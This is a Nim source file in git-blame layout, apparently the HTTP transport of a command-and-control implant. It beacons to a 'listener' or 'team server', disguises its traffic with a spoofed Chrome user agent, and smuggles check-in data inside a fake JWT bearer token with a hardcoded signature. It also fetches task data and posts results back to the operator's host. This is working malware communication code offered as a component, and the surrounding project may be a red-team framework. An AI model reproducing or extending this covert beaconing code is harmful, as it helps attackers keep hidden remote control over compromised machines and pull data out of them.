2025-08-13 13:38:39 +02:00
|
|
|
import httpclient, json, strformat, strutils, asyncdispatch, base64
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-25 16:41:29 +02:00
|
|
|
import ../../common/[types, utils]
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-08-14 12:25:06 +02:00
|
|
|
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
2025-07-18 18:47:57 +02:00
|
|
|
var responseBody = ""
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-22 21:00:39 +02:00
|
|
|
# Define HTTP headers
|
2025-08-13 13:38:39 +02:00
|
|
|
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
|
|
|
|
|
let payload = encode(checkinData, safe = true).replace("=", "")
|
2025-07-22 21:00:39 +02:00
|
|
|
client.headers = newHttpHeaders({
|
2025-08-13 13:38:39 +02:00
|
|
|
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
|
2025-07-22 21:00:39 +02:00
|
|
|
})
|
|
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
try:
|
|
|
|
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
2025-08-14 12:25:06 +02:00
|
|
|
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
|
2025-07-18 18:47:57 +02:00
|
|
|
return responseBody
|
|
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
2025-08-14 12:25:06 +02:00
|
|
|
echo "[-] " & err.msg
|
2025-07-18 18:47:57 +02:00
|
|
|
|
|
|
|
|
finally:
|
|
|
|
|
client.close()
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-07-18 18:47:57 +02:00
|
|
|
return ""
|
2025-05-19 21:56:34 +02:00
|
|
|
|
2025-08-14 12:25:06 +02:00
|
|
|
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-21 22:07:25 +02:00
|
|
|
let client = newAsyncHttpClient(userAgent = USER_AGENT)
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
# Define headers
|
|
|
|
|
client.headers = newHttpHeaders({
|
|
|
|
|
"Content-Type": "application/octet-stream",
|
2025-08-14 12:25:06 +02:00
|
|
|
"Content-Length": $data.len
|
2025-07-19 16:49:27 +02:00
|
|
|
})
|
2025-05-22 20:03:22 +02:00
|
|
|
|
2025-08-14 12:25:06 +02:00
|
|
|
let body = Bytes.toString(data)
|
2025-05-23 16:02:16 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
try:
|
2025-08-14 12:25:06 +02:00
|
|
|
# Send post request to team server
|
|
|
|
|
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
|
2025-07-19 16:49:27 +02:00
|
|
|
|
|
|
|
|
except CatchableError as err:
|
2025-08-14 12:25:06 +02:00
|
|
|
echo "[-] " & err.msg
|
2025-07-19 16:49:27 +02:00
|
|
|
return false
|
2025-08-14 12:25:06 +02:00
|
|
|
|
2025-07-19 16:49:27 +02:00
|
|
|
finally:
|
|
|
|
|
client.close()
|
2025-05-22 20:03:22 +02:00
|
|
|
|
|
|
|
|
return true
|